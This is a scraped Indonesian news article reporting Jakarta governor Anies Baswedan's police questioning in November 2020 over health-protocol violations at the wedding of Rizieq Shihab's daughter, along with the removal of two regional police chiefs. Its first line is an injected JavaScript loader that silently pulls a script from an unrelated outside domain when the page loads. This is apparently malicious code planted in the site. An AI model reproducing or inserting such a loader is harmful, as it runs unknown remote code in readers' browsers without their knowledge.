(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Gubernur DKI Jakarta Anies Baswedan tiba di Direktorat Reserse Kriminal Umum Polda Metro Jaya pada Selasa (17/11/2020) sekitar pukul 09.50 WIB. Anies datang untuk dimintai klarifikasi perihal pelanggaran protokol kesehatan dalam acara pernikahan putri pemimpin FPI Rizieq Shihab pada Sabtu (14/11/2020) lalu.
Menurut Anies, undangan tersebut diterimanya pada Senin (16/11/2020) siang.
“Mengundang saya untuk memberikan klarifikasi pada tanggal 17 jam 10 pagi. Jadi saya datang ke Mapolda sebagai warga negara untuk memenuhi undangan dari Polda,” jelas Anies di Polda Metro Jaya, Selasa (17/11/2020).
Hingga laporan ini disampaikan Anies masih berada di gedung Direktorat Reserse Kriminal Umum Polda Metro Jaya dan belum diketahui kapan pemeriksaan ini akan selesai.
Dua Kapolda Dicopot
Kapolri Idham Azis, Senin (16/11), mencopot Kapolda Metro Jaya Nana Sudjana dan Kapolda Jawa Barat Rudy Sufahriadi dari jabatannya terkait pelanggaran protokol kesehatan. Kendati demikian, tidak dijelaskan lokasi tempat kejadian pelanggaran protokol kesehatan tersebut.
Namun, seiring pencopotan tersebut, penyidik Polda Metro Jaya juga memanggil sejumlah pihak terkait pelanggaran protokol kesehatan dalam acara pernikahan putri pemimpin FPI Rizieq Shihab.
Beberapa di antaranya adalah Gubernur DKI Jakarta Anies Baswedan, walikota Jakarta Pusat, dan sejumlah tamu. Acara tersebut diduga melanggar Pasal 93 Undang-Undang Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan.
Adapun Pasal 93 Undang-undang Kekarantinaan Kesehatan berbunyi, “Setiap orang yang tidak mematuhi penyelenggaraan Kekarantinaan Kesehatan sebagaimana dimaksud dalam Pasal 9 ayat (1) dan/atau menghalang-halangi penyelenggaraan Kekarantinaan Kesehatan sehingga menyebabkan Kedaruratan Kesehatan Masyarakat dipidana dengan pidana penjara paling lama 1 (satu) tahun dan/atau pidana denda paling banyak Rp100.000.000,00 (seratus juta rupiah).”
Sebelum pencopotan dua kapolda ini, Menko Polhukam Mahfud Md juga juga menyesalkan terjadinya pelanggaran protokol kesehatan pada pernikahan putri Rizieq Shihab di Petamburan, Jakarta pada Sabtu (14/11) lalu. Kata Mahfud, pemerintah telah memperingatkan Gubernur DKI Jakarta untuk meminta penyelenggara untuk mematuhi protokol kesehatan.
“Penegakan protokol kesehatan di ibu kota merupakan kewenangan pemerintah Provinsi DKI Jakarta, berdasarkan hierarki kewenangan dan peraturan perundang-undangan,” jelas Mahfud secara online pada Senin (16/11/2020).
Mahfud menambahkan pemerintah mendapat keluhan dari berbagai kalangan yang telah berjuang mengatasi penyebaran corona atas pelanggaran protokol kesehatan. Antara lain dari dokter, relawan dan TNI-Polri. (sm/em)
Reporter: Sasmito
Editor: VOA
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
This website uses cookies.